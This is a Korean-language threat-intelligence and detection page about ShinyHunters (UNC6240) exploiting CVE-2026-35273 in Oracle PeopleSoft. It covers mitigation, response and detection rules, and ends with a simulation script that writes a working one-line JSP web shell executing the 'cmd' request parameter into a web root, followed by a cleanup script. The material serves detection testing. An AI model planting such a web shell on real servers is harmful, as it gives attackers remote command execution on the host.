ShinyHunters, 오라클 PeopleSoft를 겨냥한 대규모 공격 재개
Detection stack
- AIDR
- Alert
- ETL
- Query
요약
위협 행위자 UNC6240(ShinyHunters)은 CVE-2026-35273을 통해 Oracle PeopleSoft 시스템에 대한 대규모 익스플로잇을 재개했습니다. 이 캠페인은 URL 인코딩된 경로를 사용하여 웹 애플리케이션 방화벽(WAF)을 우회하고 취약한 환경 관리 허브 엔드포인트에 액세스합니다. 공격자는 다수의 웹 셸을 배치하고 SIDEEYE 백도어를 통해 지속 가능성을 구축하고, 무단 액세스를 유지하며, 데이터 유출을 용이하게 합니다.
조사
Mandiant와 Google 위협 인텔리전스 그룹은 2026년 6월 초기 제로데이 익스플로잇에서 패치되지 않은 환경에 대한 N-데이 공격으로 전환함을 문서화했습니다. 연구자들은 URL 인코딩 (/PSEMHUB/)을 사용하여 문자열 기반 WAF 필터링을 우회하는 것을 확인했습니다. 분석 결과 직렬화된 Java 객체를 통한 대상 검증 후, 트로이목마 설치 프로그램과 터널링 유틸리티 배포에서 발생하는 반복적인 공격 시퀀스를 나타냈습니다.
완화
조직은 즉시 CVE-2026-35273에 대응하는 Oracle 보안 경고 패치를 설치하고 PSEMHUB 애플리케이션을 비활성화하거나 제거해야 합니다. WAF 구성은 문자열 일치에만 의존하기보다는 표준화된 URL 경로를 검사하고 차단해야 합니다. 보안 팀은 또한 웹 계층에서 액세스 가능한 자격 증명을 교체하고 의심스럽거나 승인되지 않은 파일에 대해 애플리케이션 디렉토리를 검사해야 합니다.
대응
웹 셸이 발견될 경우 수비자는 영향을 받은 호스트가 완벽하게 손상되었다고 간주하고 대응 전에 포렌식 증거를 보존해야 합니다. WebLogic Java 프로세스에 의해 시작된 예상치 않은 셸 프로세스를 식별하기 위해 호스트 수준의 감사 로깅을 활성화하세요. 노출된 자격 증명, 데이터베이스 연결 문자열 및 클라우드 자격 증명을 교체하고, 알려진 C2 지표에 대한 아웃바운드 네트워크 활동을 검토하세요.
공격 흐름
이 부분은 아직 업데이트 중입니다.
탐지
가능한 시스템 열거 (cmdline을 통해)
비정상적인 최상위 도메인(TLD) DNS 요청을 통한 의심스러운 명령 및 제어 (dns를 통해)
가능한 Base64 인코딩된 문자열 조작 (cmdline을 통해)
표준 도구를 통한 원격 파일 업로드 / 다운로드 (cmdline을 통해)
IOC (HashSha256) 탐지: ShinyHunters 갱신된 대규모 Oracle PeopleSoft 익스플로잇 캠페인 타깃
IOC (SourceIP) 탐지: ShinyHunters 갱신된 대규모 Oracle PeopleSoft 익스플로잇 캠페인 타깃
IOC (DestinationIP) 탐지: ShinyHunters 갱신된 대규모 Oracle PeopleSoft 익스플로잇 캠페인 타깃
CVE-2026-35273 익스플로잇을 통한 웹 셸 배포 [Windows 프로세스 생성]
UNC6240의 웹 셸을 활용한 Oracle PeopleSoft 익스플로잇 [웹 서버]
시뮬레이션 실행
-
공격 서사 및 명령: 적대자는 Oracle PeopleSoft 인스턴스를 식별하고 취약점을 악용하려 합니다. 문자열 “PSEMHUB”를 찾는 간단한 WAF 서명을 우회하기 위해 공격자는 URL 인코딩을 사용하여 요청합니다
/PSEMHUB/. 익스플로잇의 성공 후, 공격자는 ”x.jsp“라는 이름의 웹 셸을 웹 루트에 투하하여 명령 실행을 위한 지속적인 인터페이스를 제공합니다. 이 일련의 과정은 UNC6240 익스플로잇 캠페인에서 식별된 특정 침해 지표 (IOC)를 모방합니다. -
회귀 테스트 스크립트:
#!/bin/bash # UNC6240 웹 셸 탐지를 위한 시뮬레이션 스크립트 # 1. 경로 정의 (대상 환경에 따라 조정) WEB_ROOT="/var/www/html" SHELL_NAME="x.jsp" TARGET_URL="http://localhost/PSEMHUB/" echo "[+] 모의 웹 셸 생성: $WEB_ROOT/$SHELL_NAME" # 간단한 JSP 웹 셸 내용 생성 echo '<% out.print(new java.util.Scanner(Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream()).useDelimiter("A").next()); %>' | sudo tee $WEB_ROOT/$SHELL_NAME > /dev/null echo "[+] URL 인코딩된 요청을 통해 탐지 트리거..." # 로그 항목을 생성하기 위해 curl을 사용하여 인코딩된 경로 요청 curl -s "$TARGET_URL" > /dev/null echo "[+] 시뮬레이션 완료. SIEM에서 탐지를 확인하세요." -
정리 명령:
#!/bin/bash # 정리 스크립트 WEB_ROOT="/var/www/html" SHELL_NAME="x.jsp" echo "[+] 시뮬레이션 파일 정리..." sudo rm -f $WEB_ROOT/$SHELL_NAME echo "[+] 정리 완료."